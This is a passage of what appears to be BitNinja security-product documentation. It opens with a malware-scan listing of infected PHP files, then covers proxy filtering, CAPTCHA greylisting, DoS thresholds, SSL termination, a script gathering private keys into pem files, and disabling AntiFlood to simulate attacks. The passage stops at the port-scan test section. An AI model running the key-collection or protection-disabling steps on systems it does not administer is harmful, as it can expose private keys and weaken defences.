text/x-php | 2019-02-13 12:29:45.238984471 +0100 2019-02-13 12:29:45.242984472 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/administrator/components/com_media/views/medialist/languages.php
text/x-php | 2018-09-03 12:29:45.000000000 +0200 2019-02-13 12:29:45.654984492 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/administrator/components/com_admin/views/help/tmpl/license
text/x-php | 2019-02-13 12:29:45.334984476 +0100 2019-02-13 12:29:45.338984476 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/administrator/components/com_admin/views/help/tmpl/common.php
text/x-php | 2019-02-13 10:33:58.194648254 +0100 2019-02-13 13:56:49.127237293 +0100 test test | 60a7e9a733a6ad5dbfa507338774d0f7  /home/test/web/language/administrator/components/com_admin/views/help/tmpl/yt9.php
text/x-php | 2019-02-13 12:29:45.578984488 +0100 2019-02-13 12:29:45.582984488 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/administrator/components/com_cache/views/cache/tmpl/admin-class.php
text/x-php | 2019-02-13 12:29:46.954984555 +0100 2019-02-13 12:29:46.958984556 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/language/installation/views/database/menus.php
text/x-php | 2019-02-13 12:29:52.946984845 +0100 2019-02-13 12:29:52.950984846 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/templates/art/index.php
text/x-php | 2019-02-13 12:29:52.986984846 +0100 2019-02-13 12:29:52.994984847 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/templates/art/data/cache.php
text/x-php | 2019-02-13 15:47:57.119560004 +0100 2019-02-13 15:47:57.123560005 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/img.php
text/x-php | 2019-02-13 12:29:50.762984739 +0100 2019-02-13 12:29:50.766984739 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/media/n2/ss3/plugins/widgetautoplay/image/configure.php
text/x-php | 2019-02-13 12:29:51.034984752 +0100 2019-02-13 12:29:51.038984752 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/media/editors/tinymce/jscripts/tiny_mce/plugins/advlist/cache.php
text/x-php | 2019-02-13 12:29:51.162984758 +0100 2019-02-13 12:29:51.166984758 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/media/editors/tinymce/jscripts/tiny_mce/plugins/advhr/css/menus.php
text/x-php | 2019-02-13 12:29:51.202984760 +0100 2019-02-13 12:29:51.206984760 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/media/editors/tinymce/jscripts/tiny_mce/plugins/template/js/common.php
text/x-php | 2019-02-13 12:29:51.294984765 +0100 2019-02-13 12:29:51.298984765 +0100 test test | f09b9c3e9686a1ebf566f24e4c87b5eb  /home/test/web/media/editors/tinymce/jscripts/tiny_mce/themes/advanced/js/menus.php

Using this command could further help you finding the root cause of the infection or backdoors.

Proxy Filter

Since the BitNinja agent blocks connections on a TCP/IP basis, blocking attacks coming through trusted proxies – like CloudFlare, MaxCDN, etc. – was problematic. In these cases, the problem was that the proxy IP address was blocked because BitNinja block connections on the 4th level of the OSI model, which is the Transport layer.

The goal of this module is to elevate the evaluation of the requests coming from trusted proxies to the Application Layer (OSI Layer 7) and to be able to interpret the HTTP headers coming from them.

If a request comes from a trusted proxy, the IP set in the X-Forwarded-For header will be the base IP for the incidents.

How does it work?

When the module starts, it will try to download a global and a user-level proxy IP list. Failing to do so, it will use the following JSON files found in the /opt/bitninja/ProxyFilter/defaultSets folder: globalList.json, userList.json

Even if the module is disabled, it will help the CaptchaHttp and the Shogun modules to not put trusted proxy IP addresses to greylist, and to not generate incidents about them.

When the ProxyFilter module is enabled, it will:

  • modify and reload the WAF trusted proxy configurations, and create the following file: /opt/bitninja-waf/etc/BitNinjaProxy/trusted_proxy.conf
  • modify the configurations of the SslTerminating module, and reload the configurations
  • create the following HTTP and HTTPS trusted proxy frontends: /opt/bitninja-ssl-termination/etc/haproxy/configs/trusted_proxy_http.cfg and /opt/bitninja-ssl-termination/etc/haproxy/configs/trusted_proxy_https.cfg
  • create the following HTTP WAF proxy frontend: /opt/bitninja-ssl-termination/etc/haproxy/configs/waf_proxy_http.cfg
  • create HAProxy maps from the loaded ipsets:
  • /var/lib/bitninja/ProxyFilter/whitelist.map from the user-whitelist and user-whitelist-net
  • /var/lib/bitninja/ProxyFilter/blacklist.map from the user-blacklist, user-blacklist-net, essential-list and blacklist
  • /var/lib/bitninja/ProxyFilter/greylist.map from the greylist, if there’s at least 2GB free memory in the system and the loading of the greylist is enabled in the config
  • create ipsets for IPv4 and IPv6 trusted proxy IPs and the iptables/firewall rules that will redirect traffic to the newly created HAProxy frontends

When the module is disabled, it will remove:

  • the iptables port redirections
  • the SslTerminating trusted proxy frontends and reload HAProxy configurations
  • WAF trusted proxy configurations and reload the configs

System requirements

Loading the whole greylist into HAProxy map uses approximately 600MB of memory. For this reason BitNinja will only load the greylist into HAProxy map if there’s at least 2GB of free memory. If that’s not the case, ProxyFilter will only work with the newly greylisted IP addresses.

CLI commands

You can enable the module using the following command:

bitninjacli --module=ProxyFilter --enabled

To disnable the module use the following command:

bitninjacli --module=ProxyFilter --disabled

Configurations

You can find the module’s configuration file at /etc/bitninja/ProxyFilter/config.ini

;
;
; BitNinja ProxyFilter Module Dependency file
;
;
[core]
; Load entire Greylist to HAProxy or use a dummy empty file and only work with IP updates
;
; 0 don't load Greylist. Work with IP updates. Reduce memory usage of HAProxy
; 1 load Greylist. More protection. Needs at least greylist_load_free_memory_limit free memory.
load_greylist = 1
; Free memory limit before trying to load greylist to HAProxy greylist.map in Mega bytes.
;
; This map can take 600 MB of memory alone. Config reloading doubles this value.
; New HAProxy instance starts before stopping the running one.
;
greylist_load_free_memory_limit = 2000
;
; Enable Expreimental module before it can be enabled on the Dashboard.
; Module will not ask API, if it's enabled or not.
;
;module_enabled = 0

How to check if the module is working?

iptables -S -t nat |grep HEIMDALL-PROXY-FILTER;netstat -lntp |grep haproxy

-N HEIMDALL-PROXY-FILTER
-A HEIMDALL-GREY -m comment --comment "Rule added by Bitninja" -j HEIMDALL-PROXY-FILTER
-A HEIMDALL-PROXY-FILTER -d 1.2.3.4/32 -p tcp -m comment --comment "Rule added by Bitninja" -m set --
match-set heimdall-proxy-list-net src -m tcp --dport 80 -j DNAT --to-destination 1.2.3.4:60416
-A HEIMDALL-PROXY-FILTER -d 1.2.3.4/32 -p tcp -m comment --comment "Rule added by Bitninja" -m set --
match-set heimdall-proxy-list-net src -m tcp --dport 443 -j DNAT --to-destination 1.2.3.4:60417

tcp 0 0 0.0.0.0:60413 0.0.0.0:* LISTEN 24832/haproxy
tcp 0 0 0.0.0.0:60414 0.0.0.0:* LISTEN 24832/haproxy
tcp 0 0 0.0.0.0:60415 0.0.0.0:* LISTEN 24832/haproxy
tcp 0 0 0.0.0.0:60416 0.0.0.0:* LISTEN 24832/haproxy
tcp 0 0 0.0.0.0:60417 0.0.0.0:* LISTEN 24832/haproxy
tcp 0 0 127.0.0.1:1936 0.0.0.0:* LISTEN 24832/haproxy
tcp6 0 0 :::60413 :::* LISTEN 24832/haproxy
tcp6 0 0 :::60414 :::* LISTEN 24832/haproxy
tcp6 0 0 :::60415 :::* LISTEN 24832/haproxy
tcp6 0 0 :::60416 :::* LISTEN 24832/haproxy
tcp6 0 0 :::60417 :::* LISTEN 24832/haproxy
  • 60413: Captcha HTTPS frontend
  • 60414: WAF HTTPS frontend
  • 60415: WAF HTTP frontend
  • 60416: Trusted Proxy HTTP frontend
  • 60417: Trusted Proxy HTTPS frontend

Captcha Modules

Captcha Http module

The CaptchaHttp module is used to identify false-positives on the BitNinja greylist and allow human web users to remove themselves from the greylist easily. In other words, if an IP is placed onto the BitNinja greylist and tries to access a web page on a server protected by BitNinja, the request will be forwarded to an alternative web server (created by BitNinja) and a Browser Integrity Check (BIC) page will be shown to the user. If the browser integrity test is successful then the BIC page will redirect them to the original url after 5 seconds. You won’t have to fill or type anything because the process is automatic. If your server generates an incident locally, then BitNinja will show the CAPTCHA page instead of the BIC one. If the user is a human visitor, he/she can easily solve the CAPTCHA and the IP automatically gets delisted. The visitor will be redirected to the original page and he/she can go on surfing the pages. The submission of the CAPTCHA form is delayed by 2 seconds.

The web server created to serve the CAPTCHA page is specially tuned to sustain a high traffic load and serve every request from memory. It is a one-threaded, event-driven web server so it cannot overload a multi CPU system. The memory consumption of the server is also limited, so it cannot eat up all the system memory. In case of an overload of this server, it will crash and restart automatically after 5 minutes. This tiny web server was designed especially for serving CAPTCHA pages, receiving any malicious traffic, and sending it to BitNinja central for further analysis, virtually creating a huge honey farm out of the servers using BitNinja.

Relations to other modules

CaptchaHttp sends events to the Shogun module in order to send it to BitNinja Central, as well as to the AntiFlood module to detect flood attempts and block them.

Configuration

You can find the configuration file for this module at /etc/bitninja/CaptchaHttp/config.ini

[CaptchaHttpSettings]
; The backlog is the limit for the queue of incoming connections.
socketBacklogSize = 50
; How many times BIC page will be shown for new visitors
maxBICRetries = 1
; Add HoneyConent meta tags to captcha page
loadHoneyContent = 0;
; Add Captcha service for greylist HTTP connections on the following ports
http_captcha_ports[]=8080
http_captcha_ports[]=8888
; Add Captcha service for greylist HTTPS connections on the following ports
https_captcha_ports[]=8443
https_captcha_ports[]=8888

Customizing the BIC page

You can easily customize the texts and styles of the BIC page on your server. It works on a per server basis and supports multilingual BIC sites.

The BIC page is translated to the following languages so far:

  • English
  • Hungarian
  • Japanese
  • German
  • Spanish
  • French
  • Italian
  • Dutch
  • Polish
  • Russian
  • Turkish
  • Danish

BitNinja has its default templates in the /opt/bitninja/modules/CaptchaHttp/lib/www/browser_integrity_check.html file.

You shouldn’t change this file as the package manager will overwrite these files with every new BitNinja version, and sometimes we make changes on these files.

If you would like to use your own templates, you can use the /etc/bitninja/CaptchaHttp/www directory. Any files in this directory take precedence over the /opt/bitninja/modules/CaptchaHttp/lib/www counterparts. You can choose what to modify, or you can even overwrite all the templates and place them here.

BitNinja will serve the file based on the accepted language header info sent by the browser. You can have, for example, a Greek version for people using Greek browsers and an English version for the rest of the world. In this case you should copy the original browser_integrity_check.html file and create a browser_integrity_check_gr.html file for Greek users with the two-character country code. (If you have made a translation and haven’t changed anything else, like the personalized logo, feel free to send us your translation so we can include it in the official BitNinja package 😉 )

For the changes to take place, you have to restart BitNinja as we cache every file to memory in order to speed up file serving and save system resources.

Customizing the CAPTCHA page

You can customize the look and feel of the CAPTCHA page on your server. Currently it works on a per server basis and we support multilingual CAPTCHA pages.

The CAPTCHA page is translated to the following languages:

  • English
  • Hungarian
  • German
  • Spanish
  • French
  • Greek
  • Italian
  • Indonesian
  • Dutch
  • Polish
  • Portugese
  • Russian
  • Turkish
  • Vietnamese
  • Japanese
  • Danish

BitNinja has its default templates in the /opt/bitninja/modules/CaptchaHttp/lib/www directory. There you can find the default English page, as well as the JavaScript files that are responsible for changing the language based on the visitor’s browser’s language setting.

The v2/js/translations.js file contains the translated strings and the tags that are used in the template HTML file. The v2/js/detect-browser-language.js is responsible for getting the browser’s language and setting the template page accordingly. If no translation is available in the v2/js/translations.js in the selected language, the CAPTCHA page will be shown in English by default.

You shouldn’t change these files as with every new BitNinja version the package manager will overwrite these files, and sometimes we make changes on these files.

If you would like to use your own templates, you can use the /etc/bitninja/CaptchaHttp/www directory. Any files in this directory take precedence over the /opt/bitninja/modules/CaptchaHttp/lib/www counterparts. You can choose what to modify, or you can even overwrite all the templates and place them here.

BitNinja will serve the file based on the accepted language header info sent by the browser. You can have, for example, a Greek version for people using Greek browsers and an English version for the rest of the world. (If you have made a translation and haven’t changed anything else like the personalized logo, feel free to send us your translation so we can include it in the official BitNinja package 😉 )

For the changes to take place, you have to restart BitNinja as we cache every file to memory in order to speed up file serving and save system resources.

Captcha Smtp module

The CaptchaSmtp module is used to identify false positives on the BitNinja greylist and allow human users to remove themselves from the greylist easily.

In other words, if an IP is placed onto the BitNinja greylist and the IP tries to access your server through SMTP protocol, the request will be forwarded to an alternative fake mail server (created by BitNinja). We log the commands sent by the remote server and create and incident out of them. At the same time we reply to the server with a message

550 5.7.1 Your IP ({{client_ip}}) is on the BitNinja server security greylist If you are not a spammer bot, you can delist this IP on (http://{{server_ip}}/spam_delist) You can only delist this IP a few times! It is good idea to warn your service provider about this incident.

If it was a false positive, the users can delist their IPs (or really the server’s IP) but in case of automatic spam activities, we log the incidents.

The provided link will be valid for 10 days or until BitNinja restarts.

The CaptchaSmtp CAPTCHA page will create newMistake level incidents which allow the visitor 10 tries to solve the CAPTCHA. This threshold can be configured in the AntiFlood modules config file.

Relations to other modules

CaptchaSmtp sends events through the Shogun module in order to send it to BitNinja Central, and to the AntiFlood module to detect flood attempts and block them.

Customizing the CAPTCHA page

You can customize the look and feel of the CAPTCHA page on your server. Currently it works on a per-server basis and we support multilingual CAPTCHA pages.

Customizing port number of CaptchaSmtp

You can customize the default port number in the config file (/etc/bitninja/CaptchaSmtp/config.ini) by defining a new section called [userPorts] and underneath adding the line defaultPort. You can define additional ports too. Eg.:

[userPorts]
defaultPort = 25
additional[] = 26

Enable StartTLS

CaptchaSmtp now supports StartTLS with the help of Robert Campbell, one of our most helpful customers. StartTLS is not enabled by default, if you want to enable it you must add the following lines to the end of CaptchaSmtp config (/etc/bitninja/CaptchaSmtp/config.ini).

[ssl]
certPath="path to cert"
;should we use encryption by default?
defaultTls=false

DoS Detection

BitNinja has a built-in module for monitoring current active connections and interfering in case of a potential denial of service attack. If there are more than 80 connections from a single IP, BitNinja detects it as an attack. The 80 threshold can be configured on a per port basis.

Configuration

To change the default thresholds create a config file at /etc/bitninja/DosDetection/config.ini

An example content for the config.ini file:

;
; Thresholds set to DoS Detection
;
[tresholds]

general = 80
; Threshold for remote SMTP servers.
remote[25] = 200
remote[53] = 200
; Threshold for local ports
local[22] = 40

;You can set restrictions for remote and local ports. For example to change
;the number of connections allowed to the default IMAP4 port (143) you can do this:

local[143] = 150

When BitNinja detects a DoS attack, it will block the IP for 1 minute and then place it to the greylist allowing the user to delist his/her IP. To change the default threshold, you can modify /etc/bitninja/IpFilter/config.ini, or add this section with the proper value:

[times]
;
; Temporary blacklist time in DoS suspicious requests; default: 60
;
tmp_bl_sec = 60

You can read more about the greylist on the CaptchaHttp – Http Captcha module page.

Don’t forget to restart BitNinja after creating the custom restrictions.

service bitninja restart

SSL Terminating

SslTerminating

The duty of this module is to offload HTTPS connections, and help our CaptchaHttp and WAF module to work properly with HTTPS requests. If you enable SslTerminating it will try to download and install bitninja-ssl-termination package to /opt/bitninja-ssl-termination, which is basically a HAProxy 1.8.9. We decided to build and publish our self-built HAProxy, because it will not depend on official repositories, and it will not interfere with other HAProxy installations and configurations. After installation succeeds, it will try to find currently active virtual hosts using HTTPS and extract any information which can be used to generate a valid haproxy.cfg. The module is responsible for collecting and generating pem files every 5 minutes, which can be used by bitninja-ssl-termination to offload HTTPS requests.

The module works with CaptchaHttp and WAF 2.0 modules. When a greylisted IP tries to connect to your server on 443 it will be redirected to bitninja-ssl-termination’s frontend. The CAPTCHA will appear, and the innocent visitor can solve it.

Certificate miners

To gather certificate information, SSL Terminating module currently uses three certificate miner implementations. These miners are: ApacheCertMiner, NginxCertMiner, LiteSpeedCertMiner.

A certificate miner implementation should consist of the following steps:
  • Collect the public key, the private key and the chain file for the SSL Certificate and put them in a pem file.
  • Put the newly created pem file location in /opt/bitninja-ssl-termination/etc/haproxy/cert-list-lst file, with every domain that belongs to this certificate, separated with spaces. Like this: /opt/bitninja-ssl-termintion/etc/haproxy/certs/example.com-ssl.pem example.com www.example.com *.example.com

An example bash implementation for DirectAdmin:

echo > /opt/bitninja-ssl-termination/etc/haproxy/cert-list.lst
for i in `ls /usr/local/directadmin/data/users/*/domains/* | grep ".key"  | awk -F "/" {'print $9'} | sed 's/\.[^.]*$//'` ;

 do

cat /usr/local/directadmin/data/users/*/domains/"$i".key /usr/local/directadmin/data/users/*/domains/"$i".cert > /opt/bitninja-ssl-termination/etc/haproxy/certs/"$i".pem
echo "/opt/bitninja-ssl-termination/etc/haproxy/certs/$i.pem $i www.$i *.$i" >> /opt/bitninja-ssl-termination/etc/haproxy/cert-list.lst

done

The Apache certificate miner tries to retrieve VirtualHost information using apache2ctl/apachectl/httpd -S (depending on the current OS). If this miner fails to find the apachectl binary, you can add it’s path to the config.ini webserver section with: apachectlBinaryLocation = ‘path/to/binary’

The Nginx certificate miner tries to retrive the main Nginx configuration file using nginx -V. It will follow includes and collect every virtual host using SSL certificates. If this miner fails to find your Nginx binary, you can add its path to the config.ini webserver section with: nginxBinaryLocation = ‘path/to/binary’ If you are using a different main configuration which was configured at Nginx build time, you can add your main configuration file to the config.ini webserver section with: nginxMainConfigFileLocation = ‘path/to/nginx.conf’

LiteSpeed certificate miner currently tries to parse the Apache main configuration file, follow includes and collect every virtual host using SSL certificates. If you are using a different main configuration file, you can add it to the config.ini webserver section with: apacheMainConfigFileLocation = ‘path/to/apache.conf’

Pattern certificate will be coming soon and it will be able to collect certificates with file patterns like: keyfiles= ‘path/to//domains/.key’ pemfiles= ‘path/to//domains/.pem’

CLI options

You can use CLI to enable and disable SslTerminating module with:

bitninjacli --module=SslTerminating --enabled
bitninjacli --module=SslTerminating --disabled

HAProxy configuration can be reloaded, if they were manually edited with:

bitninjacli --module=SslTerminating --reload

HAProxy configuration can be regenerated, if module configurations were edited:

bitninjacli --module=SslTerminating --regenerate

Configuration

The module can be configured in /etc/bitninja/SslTerminating/config.ini. This config file contains 9 config sections. The first two are for HAProxy and Apache binary settings. The other seven sections are for configuring different sections of the haproxy.cfg, if needed.

;
; SslTerminating module uses HAProxy 1.5.8. This section defines basic configurations.
;
[haproxy]
;; where is the haproxy binary
;binaryLocation='/opt/bitninja-ssl-termination/sbin/haproxy'
;; where should we look for haproxy config file
;configLocation='/opt/bitninja-ssl-termination/etc/haproxy/haproxy.cfg'
;; where could haproxy work
;workingDirectory='/var/lib/bitninja/SslTerminating'
;; where could SslTerminating put collected cert files
;certDir = '/opt/bitninja-ssl-termination/etc/haproxy/certs'
;; where is the cert list file
;certListFile = '/opt/bitninja-ssl-termination/etc/haproxy/cert-list.lst'
;; user for haproxy
;haproxyUser='bitninja-ssl-termination'
;; Https Captcha backend port
;haproxyPort = 60413
;; front end port
;httpsPort = 443
;; Captcha front and backend settings
;CaptchaFrontEndSettings[name]= 'Captcha-https'
;CaptchaFrontEndSettings[iface]= '*'
;CaptchaFrontEndSettings[port]= 60413
;CaptchaBackEndSettings[name]= 'Captcha-https-backend'
;; WAF front and backend setting
;; not used for now
;WafFrontEndSettings[name]= 'waf-https'
;WafFrontEndSettings[iface]= '*'
;WafFrontEndSettings[port]= '60414'
;WafBackEndSettings[name]= 'waf-https-backend'
;
; Web server settings
;
[webserver]
;; if binary location not set SslTerminating module tries to find where is apache.
;apachectlBinaryLocation = '/usr/sbin/apache2ctl'
;apachectlBinaryLocation = '/usr/sbin/httpd'
;apachectlBinaryLocation = '/opt/sp/apache/bin/apachectl'
;listVirtualHostParameter= '-S'
;nginxBinaryLocation = 'usr/local/nginx/sbin/nginx'
    ;nginxMainConfigFileLocation = '/etc/nginx/nginx.conf'
    ;apacheMainConfigFileLocation = '/etc/apache2/apache2'
;
; Haproxy global settings. Every ini key value will be converted to a haproxy configuration.
; E.g.: chroot = '/var/lib/bitninja/SslTerminating'
; Will be converted to:
;       chroot =        /var/lib/bitninja/SslTerminating
; If you want to add multiple values, use ini arrays.
; E.g.: log[] = '/dev/log       local0'
;    log[] = '/dev/log  local1 notice'
; This will be converted to:
;       log =   /dev/log local0
;       log =   /dev/log local1 notice
; See more about haproxy configuration at: https://cbonte.github.io/haproxy-dconv/1.5/configuration.html
;
[haproxyGlobalSettings]
;log[] = '/dev/log      local0'
;log[] = '/dev/log      local1 notice'
;chroot = '/var/lib/bitninja/SslTerminating'
;stats[] = 'socket /var/lib/bitninja/SslTerminating/admin.sock mode 660 level admin'
;stats[] = 'timeout 30s'
;user = 'bitninja-ssl-termination'
;group = 'bitninja-ssl-termination'
;; Default SSL material locations
;ca-base = '/etc/ssl/certs'
;crt-base = '/etc/ssl/private'

;; Default ciphers to use on SSL-enabled listening sockets.
;; For more information, see ciphers(1SSL). This list is from:
;;  https://hynek.me/articles/hardening-your-web-servers-ssl-ciphers/
;; An alternative list with additional directives can be obtained from
;;  https://mozilla.github.io/server-side-tls/ssl-config-generator/?server=haproxy
;ssl-default-bind-ciphers = 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA'
;ssl-default-server-ciphers = 'ECDHE-RSA-AES128-GCM-SHA256:ECDHE-ECDSA-AES128-GCM-SHA256:ECDHE-RSA-AES256-GCM-SHA384:ECDHE-ECDSA-AES256-GCM-SHA384:DHE-RSA-AES128-GCM-SHA256:DHE-DSS-AES128-GCM-SHA256:kEDH+AESGCM:ECDHE-RSA-AES128-SHA256:ECDHE-ECDSA-AES128-SHA256:ECDHE-RSA-AES128-SHA:ECDHE-ECDSA-AES128-SHA:ECDHE-RSA-AES256-SHA384:ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES256-SHA:ECDHE-ECDSA-AES256-SHA:DHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA:DHE-DSS-AES128-SHA256:DHE-RSA-AES256-SHA256:DHE-DSS-AES256-SHA:DHE-RSA-AES256-SHA:ECDHE-RSA-DES-CBC3-SHA:ECDHE-ECDSA-DES-CBC3-SHA:AES128-GCM-SHA256:AES256-GCM-SHA384:AES128-SHA256:AES256-SHA256:AES128-SHA:AES256-SHA:AES:CAMELLIA:DES-CBC3-SHA:!aNULL:!eNULL:!EXPORT:!DES:!RC4:!MD5:!PSK:!aECDH:!EDH-DSS-DES-CBC3-SHA:!EDH-RSA-DES-CBC3-SHA:!KRB5-DES-CBC3-SHA'
;ssl-default-bind-options = 'no-sslv3 no-tlsv10'
;tune.ssl.default-dh-param = 2048
;
; Haproxy default Settings
;
[haproxyDefaultSettings]
;log = 'global'
;mode = 'http'
;option[] = 'httplog'
;option[] = 'dontlognull'
;option[] = 'forwardfor'
;timeout[] = 'connect 5000'
;timeout[] = 'client  50000'
;timeout[] = 'server  50000'
;errorfile[] = '400 /opt/bitninja-ssl-termination/etc/haproxy/errors/400.http'
;errorfile[] = '403 /opt/bitninja-ssl-termination/etc/haproxy/errors/403.http'
;errorfile[] = '408 /opt/bitninja-ssl-termination/etc/haproxy/errors/408.http'
;errorfile[] = '500 /opt/bitninja-ssl-termination/etc/haproxy/errors/500.http'
;errorfile[] = '502 /opt/bitninja-ssl-termination/etc/haproxy/errors/502.http'
;errorfile[] = '503 /opt/bitninja-ssl-termination/etc/haproxy/errors/503.http'
;errorfile[] = '504 /opt/bitninja-ssl-termination/etc/haproxy/errors/504.http'
;
; Stat page setting. For security reason please Change uri, auth
;
[statPageSettings]
; Haproxy bind setting. Change it before enabling stat page.
;bind = '*:1936'
;mode = 'http'
;log = 'global'
;maxconn = 10
;timeout queue =  '100s'
;stats[] = 'enable'
;stats[] = 'hide-version'
;stats[] = 'refresh 30s'
;stats[] = 'show-node'
; Haproxy stat page auth setting. Change it before enabling stat page.
;stats[] = 'auth user:password'
; Haproxy stat page uri setting. Change it before enabling stat page.
;stats[] = 'uri  /haproxy?stats'
;
; Haproxy Captcha frontend settings.
; Don't use Haproxy bind configuration in thes section.
;
[CaptchaFrontEndSettings]
;option[]= "httpclose"
;reqadd = 'X-Forwarded-Proto:\ https'
;
; Haproxy Captcha backend settings
;
[CaptchaBackEndSettings]
;redirect = 'scheme https if !{ ssl_fc }'
;server= 'captcha-1 *:60412 check'
;
; Haproxy WAF frontend settings.
; Not used yet.
;
[WafFrontEndSettings]
;reqadd = 'X-Forwarded-Proto:\ https'
;default_backend = 'waf-https-backend'
;
; Haproxy WAF backend settings.
; Not used yet.
;
[WafBackEndSettings]
;redirect = 'scheme https if !{ ssl_fc }'
;server 'waf-1 *:60045 check'

Regenerating certificate information

If the SslTerminating is using expired certificate information on your server for some reason, you can regenerate the certificate information by running the following commands:

chmod +x /opt/bitninja/modules/Cli/scripts/force_recollect_ssl_certs.sh
/opt/bitninja/modules/Cli/scripts/force_recollect_ssl_certs.sh

This script contains the following commands, which you can also run manually, one after the other, if needed:

rm -f /opt/bitninja-ssl-termination/etc/haproxy/certs/*
rm -f /opt/bitninja-ssl-termination/etc/haproxy/cert-list.lst
rm -f /opt/bitninja-ssl-termination/etc/haproxy/haproxy.cfg
bitninjacli --module=SslTerminating --regenerate
bitninjacli --module=SslTerminating --reload

Anti Flood

The duty of this module is to receive incidents from other modules and prevent attackers from flooding your system with incidents.

For example, the CaptchaHttp module shows a CAPTCHA screen for visitors if they are greylisted. But what if an attack is ongoing against the CAPTCHA module? The AntiFlood module will find this flood attempt and temporarily blacklist the IP, preventing the overload of the HTTP CAPTCHA module.

The basic idea of BitNinja is to integrate different security tools into a single modular system. This way the modules can intercommunicate and use each other’s services. The AntiFlood module is also an often-used module for other BitNinja processes. Anything that can send incidents will send them to the AntiFlood module as well. This way if there are some trials the log analyzer, HTTP CAPTCHA, or SMTP CAPTCHA catch, this information will all be available locally for the AntiFlood module. This way it can detect the attack and prevent further overuse and scans.

Configuration

Threshold limits can be set in the config file (/etc/bitninja/AntiFlood/config.ini).

;
; Limits for AntiFlood module
;
[limits]
;limit before getting on blacklist
blacklist=15
;limit before getting on greylist
greylist=10
;1 hour
expiredtime=3600
;5 days
agedtime=432000

Services

DataProvider

This module is responsible for sending out regular updates about the server to the BitNinja analysis central. Data like system resource usage, system load, memory Usage, and BitNinja protection efficiency is sent for statistical purposes.

This module is also responsible for sending the server’s IPs to our cloud, where we automatically add them to your whitelist so all your BitNinja servers can communicate with each other without restrictions.

Shogun

The Shogun is the local governor of security on a BitNinja enabled system. The duty of this module is to accept and forward security incidents accordingly. For example, when there is an incident raised by the HttpCaptcha module, it will be sent directly to the Shogun module and it will route it (after proper filtering) to other modules like AntiFlood, IpFilter as well as BitNinja central.

Filters

  • flood
    if the IP is already blacklisted but for some reason (deleted iptables rules for example) incidents are still coming, this filter will protect against flooding central with bogus incidents
  • private network
    BitNinja does nothing with sources from private IP ranges.
  • user whitelist
    we do nothing with incidents generated by user whitelisted IPs
  • whitelist
    there are some built in whitelisted IPs and reverse DNS endings the client auto whitelist. (like Google bots, Cloudflare, w3c.org, Facebook bot, etc.)

System

The duty of this module is to manage licensing, restart and update the BitNinja client, and accept commands to enable or disable the WAF module. In the future this module will manage remote configuration as well.

Disabling Modules

You can disable any BitNinja module by editing the config file /etc/bitninja/config.php Here you can search for the section disabledModules and add the module you want to disable to the list.

        'disabledModules'=>array(
//            'System',
//            'DataProvider',
//            'IpFilter',
//            'CaptchaHttp',
//            'CaptchaSmtp',
//            'PortHoneypot',
//            'AntiFlood',
//            'Shogun',
//            'DosDetection',
//            'SenseLog',
//            'SenseWebHoneypot',
//            'WAF'

You must restart BitNinja in order for the changes to take effect!

Site Protection

COMING SOON!

Our Site protection module is currently under development. We will update this article as soon as it is available!

General considerations

You can watch a webinar recording with George Egri, CEO of BitNinja presenting all these test on our youtube channel here: https://www.youtube.com/bitninjaio

Note

Before you start testing the bitninja protection, please consider these notes about the system:

1. BitNinja is designed not to tolerate testing the protection – as that’s what bad guys do before an attack. There is a specific module AntiFlood responsible for collecting incidents form other modules and blacklisting the IP if there are too many incidents. To bypass this protection you have to disable the AntiFlood module using the following command:

bitninjacli --module=AntiFlood --stop

Note

2. To avoid whitelisting issues the BitNinja cloud doesn’t accept any incidents after a successful IP delist via the CAPTCHA module for 1 minute.

3. BitNinja agent is sending incidenst in batches, not one by one to avoid making things even worse in case of a distributed attack. This may cause lag between raising an incident with a test attack and seeing it on the dashboard.

To run the test attacks we usually use a vagrant ubuntu 16 linux box.

Here is a minimal vagrant file you can use:

Vagrant.configure(2) do |config|
  config.vm.box = "bento/ubuntu-16.04"
  config.vm.provider "virtualbox" do |v|
    v.memory = 2000
    v.cpus = 2
    v.customize ["modifyvm", :id, "--ostype", "Ubuntu_64"]
  end

  config.vm.hostname = "attacker"
end

You can use the https://admin.bitninja.io management interface to see the incidents. Also you can see the logs in /var/log/bitninja. It is important to know that when BitNinja greylists an IP it closes all real services. So if you use your own IP address to simulate the attack and you login via ssh from the same IP, your ssh session will be terminated because the IP has been greylisted.

Test port scan protection

To prepare your server, switch on the Port Honeypot module.

